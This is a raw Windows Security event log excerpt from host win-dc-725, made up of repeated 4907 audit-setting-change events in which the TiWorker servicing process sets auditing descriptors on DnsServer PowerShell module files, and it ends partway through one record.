ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247175
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerQueryResolutionPolicy_v1.0.0.cdxml
	Handle ID:	0x7b4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247174
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerPrimaryZone_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247173
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerPolicy_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247172
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerKeyStorageProvider_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247171
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerGlobalQueryBlockList_v1.0.0.cdxml
	Handle ID:	0x7b4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247170
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerGlobalNameZone_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247169
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerForwarder_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247168
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerEdns_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247167
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDsSetting_v1.0.0.cdxml
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247166
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDnsSecZoneSetting_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247165
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDnsSecPublicKey_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247164
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDirectoryPartition_v1.0.0.cdxml
	Handle ID:	0x7b4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247163
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDiagnostics_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247162
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerConditionalForwarder_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247161
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerClientSubnet_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247160
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerCache_v1.0.0.cdxml
	Handle ID:	0x7b4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247159
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServer_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247158
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\DnsServerPsProvider.Types.ps1xml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247157
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\DnsServerPsProvider.Format.ps1xml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247156
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\DnsServer.psd1
	Handle ID:	0x7b4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247155
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dnsperf.dll
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247154
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneUnsign_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247153
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneTransferPolicy_v1.0.0.cdxml
	Handle ID:	0x7b4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247152
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneTransfer_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247151
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneSign_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247150
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneScope_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247149
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneKeyMasterRole_v1.0.0.cdxml
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247148
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneDelegation_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247147
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneAging_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247146
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZone_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247145
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerVirtualizationInstance_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
